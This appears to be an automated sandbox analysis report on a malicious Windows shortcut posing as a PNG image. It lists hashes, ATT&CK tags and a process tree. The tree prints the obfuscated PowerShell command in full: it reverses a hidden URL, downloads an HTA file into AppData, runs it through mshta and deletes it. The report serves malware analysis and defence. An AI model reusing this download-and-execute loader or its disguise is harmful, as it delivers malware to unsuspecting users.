07fd6c66a7a9cfc1d67c140c7af9fbe1e842b0377cf1fe8859eff45f9aeee732

Analysis

max time kernel
28s
max time network
31s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
14/04/2023, 06:05

Target

PHOTO-DRAWING-234196.png.lnk
Size

3KB
MD5

6da902f8bd37a322553f8ca8d3578b7a
SHA1

266299e5a1bc0c4c33754e1df85e4b32b29886b7
SHA256

07fd6c66a7a9cfc1d67c140c7af9fbe1e842b0377cf1fe8859eff45f9aeee732
SHA512

64603b1c9bd0342ae62a8980e5fdad04c47e0368276bfc013537d745cd6f8d9133f682f183b0b375cd58fbe42d39961a7be3c89af4a7b8a288fb08986853e69e

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
520	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	520	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1344 wrote to memory of 520	1344	cmd.exe	29
PID 1344 wrote to memory of 520	1344	cmd.exe	29
PID 1344 wrote to memory of 520	1344	cmd.exe	29
PID 520 wrote to memory of 1252	520	powershell.exe	30
PID 520 wrote to memory of 1252	520	powershell.exe	30
PID 520 wrote to memory of 1252	520	powershell.exe	30
PID 520 wrote to memory of 1252	520	powershell.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-DRAWING-234196.png.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1344
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0; function nvRClWiAJT($OnUPXhNfGyEh){$OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('')}; function sDjLksFILdkrdR($OnUPXhNfGyEh){ $vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh; for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){ try{$zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2)} catch{$zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1)}};$zRavFAQNJqOVxb}; $NpzibtULgyi = sDjLksFILdkrdR 'ahte.plamexm/coe.plamex//s:tpht'; $cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1]; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing; [IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl; sleep 3; rm $cDkdhkGBtl;
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:520
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\example.hta"
    3⤵
    - Modifies Internet Explorer settings
    PID:1252

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/520-92-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/520-93-0x0000000002000000-0x0000000002008000-memory.dmp

Filesize
32KB

Download
memory/520-95-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/520-94-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/520-96-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download